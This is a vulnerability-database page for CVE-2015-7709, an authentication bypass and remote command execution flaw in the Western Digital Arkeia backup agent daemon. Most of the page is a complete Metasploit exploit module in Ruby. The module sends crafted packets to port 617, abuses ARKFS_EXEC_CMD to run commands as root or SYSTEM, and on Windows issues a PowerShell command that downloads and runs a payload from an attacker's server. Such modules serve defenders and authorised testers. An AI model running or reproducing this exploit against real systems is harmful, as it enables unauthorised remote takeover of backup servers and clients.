CVE-2015-7709

critical
Published 2015-10-05 ยท Modified 2026-05-06
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
10.0

Description

The arkeiad daemon in the Arkeia Backup Agent in Western Digital Arkeia 11.0.12 and earlier allows remote attackers to bypass authentication and execute arbitrary commands via a series of crafted requests involving the ARKFS_EXEC_CMD operation.

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-37600 remote multiple verified ruby ยท 16 KB
Metasploit ยท 2015-07-13

Western Digital Arkeia < 11.0.12 - Remote Code Execution (Metasploit)

ruby exploit Source: Exploit-DB
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Western Digital Arkeia Remote Code Execution',
      'Description' => %q{
        This module exploits a code execution flaw in Western Digital Arkeia version 11.0.12 and below.
        The vulnerability exists in the 'arkeiad' daemon listening on TCP port 617. Because there are
        insufficient checks on the authentication of all clients, this can be bypassed.
        Using the ARKFS_EXEC_CMD operation it's possible to execute arbitrary commands with root or
        SYSTEM privileges.
        The daemon is installed on both the Arkeia server as well on all the backup clients. The module
        has been successfully tested on Windows, Linux, OSX, FreeBSD and OpenBSD.
      },
      'Author'       =>
        [
          'xistence <xistence[at]0x90.nl>' # Vulnerability discovery and Metasploit module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
        ],
      'Privileged'  => true,
      'Stance'      => Msf::Exploit::Stance::Aggressive,
      'Payload'     =>
        {
          'DisableNops' => true
        },
      'Targets'     =>
        [
          [ 'Windows',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win',
            }
          ],
          [ 'Linux',
            {
              'Arch' => ARCH_CMD,
              'Platform' => 'unix',
              'Payload' =>
                {
                  'DisableNops' => true,
                  'Space'       => 60000,
                  'Compat'      => {
                    'PayloadType' => 'cmd cmd_bash',
                    'RequiredCmd' => 'perl python bash-tcp gawk openssl'
                  }
                }
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jul 10 2015'))

    register_options(
      [
        Opt::RPORT(617),
        OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 15])
      ], self.class)
  end

  def check
    connect

    req = "\x00\x41"
    req << "\x00" * 5
    req << "\x73"
    req << "\x00" * 12
    req << "\xc0\xa8\x02\x74"
    req << "\x00" * 56
    req << "\x74\x02\xa8\xc0"
    req << 'ARKADMIN'
    req << "\x00"
    req << 'root'
    req << "\x00"
    req << 'root'
    req << "\x00" * 3
    req << '4.3.0-1' # version?
    req << "\x00" * 11

    sock.put(req)

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      return Exploit::CheckCode::Unknown
    end

    req = "\x00\x73"
    req << "\x00" * 5
    req << "\x0c\x32"
    req << "\x00" * 11

    sock.put(req)
    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      return Exploit::CheckCode::Unknown
    end

    req = "\x00\x61\x00\x04\x00\x01\x00\x11\x00\x00\x31\x00"
    req << 'EN' # Language
    req << "\x00" * 11

    sock.put(req)
    header = sock.get_once(6)

    unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = data_length.unpack('n')[0]

    unless data_length == 0
      disconnect
      return Exploit::CheckCode::Unknown
    end

    # ARKADMIN_GET_CLIENT_INFO
    req = "\x00\x62\x00\x01"
    req << "\x00" * 3
    req << "\x26"
    req << 'ARKADMIN_GET_CLIENT_INFO' # Function to request agent information
    req << "\x00\x32\x38"
    req << "\x00" * 11

    sock.put(req)

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = data_length.unpack('n')[0]
    unless data_length == 0
      disconnect
      return Exploit::CheckCode::Unknown
    end

    req = "\x00\x63\x00\x04\x00\x00\x00\x12\x30\x00\x31\x00\x32\x38"
    req << "\x00" * 12

    sock.put(req)

    # 1st packet

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x63\x00\x04"
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      return Exploit::CheckCode::Unknown
    end

    # 2nd packet

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      return Exploit::CheckCode::Unknown
    end

    # 3rd packet

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x65\x00\x04"
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length && data.include?('You have successfully retrieved client information')
      disconnect
      return Exploit::CheckCode::Unknown
    end

    # 4th packet

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x69\x00\x04"
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      return Exploit::CheckCode::Unknown
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      return Exploit::CheckCode::Unknown
    end

    if data =~ /VERSION.*WD Arkeia ([0-9]+\.[0-9]+\.[0-9]+)/
      version = $1
      vprint_status("#{rhost}:#{rport} - Arkeia version detected: #{version}")
      if Gem::Version.new(version) <= Gem::Version.new('11.0.12')
        return Exploit::CheckCode::Appears
      else
        return Exploit::CheckCode::Safe
      end
    else
      vprint_status("#{rhost}:#{rport} - Arkeia version not detected")
      return Exploit::CheckCode::Unknown
    end
  end

  def exploit
    if target.name =~ /Windows/

      @down_file = rand_text_alpha(8+rand(8))
      @pl = generate_payload_exe

      begin
        Timeout.timeout(datastore['HTTP_DELAY']) {super}
      rescue Timeout::Error
      end
    elsif target.name =~ /Linux/
      communicate(payload.encoded)
      return
    end
  end

  def primer
    @payload_url = get_uri

    # PowerShell web download. The char replacement is needed because using the "/" character twice (like http://)
    # is not possible on Windows agents.
    command = "PowerShell -Command \"$s=[CHAR][BYTE]47;$b=\\\"#{@payload_url.gsub(/\//, '$($s)')}\\\";"
    command << "(New-Object System.Net.WebClient).DownloadFile($b,'c:/#{@down_file}.exe');"
    command << "(New-Object -com Shell.Application).ShellExecute('c:/#{@down_file}.exe');\""

    communicate(command)
  end

  def communicate(command)
    print_status("#{rhost}:#{rport} - Connecting to Arkeia daemon")

    connect

    print_status("#{rhost}:#{rport} - Sending agent communication")

    req = "\x00\x41\x00\x00\x00\x00\x00\x70"
    req << "\x00" * 12
    req << "\xc0\xa8\x02\x8a"
    req << "\x00" * 56
    req << "\x8a\x02\xa8\xc0"
    req << 'ARKFS'
    req << "\x00"
    req << 'root'
    req << "\x00"
    req << 'root'
    req << "\x00" * 3
    req << '4.3.0-1' # Client version ?
    req << "\x00" * 11

    sock.put(req)

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
    end

    req = "\x00\x73\x00\x00\x00\x00\x00\x0c\x32"
    req << "\x00" * 11

    sock.put(req)
    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
    end

    req = "\x00\x61\x00\x04\x00\x01\x00\x1a\x00\x00"
    req << rand_text_numeric(10) # "1234567890" - 10 byte numerical value, like a session ID?
    req << "\x00"
    req << 'EN' # English language?
    req << "\x00" * 11

    sock.put(req)
    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end

    data_length = data_length.unpack('n')[0]

    unless data_length == 0
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read")
    end

    req = "\x00\x62\x00\x01\x00\x02\x00\x1b"
    req << 'ARKFS_EXEC_CMD' # With this function we can execute system commands with root/SYSTEM privileges
    req << "\x00\x31"
    req << "\x00" * 11

    sock.put(req)

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end

    data_length = data_length.unpack('n')[0]

    unless data_length == 0
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read")
    end

    req = "\x00\x63\x00\x04\x00\x03\x00\x15\x31\x00\x31\x00\x31\x00\x30\x3a\x31\x2c"
    req << "\x00" * 11

    sock.put(req)

    command_length = '%02x' % command.length
    command_length = command_length.scan(/../).map { |x| x.hex.chr }.join

    req = "\x00\x64\x00\x04\x00\x04"
    req << [command.length].pack('n')
    req << command # Our command to be executed
    req << "\x00"

    print_status("#{rhost}:#{rport} - Executing payload through ARKFS_EXEC_CMD")

    sock.put(req)

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x63\x00\x04"
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
    end

    # 1st Packet

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
    end

    # 2st Packet

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
    end
  end

  def on_request_uri(cli, request)
    print_status("Request: #{request.uri}")
    if request.uri == get_resource
      print_status('Sending payload...')
      send_response(cli, @pl)
      register_files_for_cleanup("c:\\#{@down_file}.exe")
    end
  end
end

Metasploit modules

Western Digital Arkeia Remote Code Execution
Source fetch failed: fetch_error โ€” view the original via the link above.

Application impact

VendorProductVersionsFixed
arkeiawestern_digital_arkeia{"endIncluding":"11.0.12"}

References

CWEs

CWE-264

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.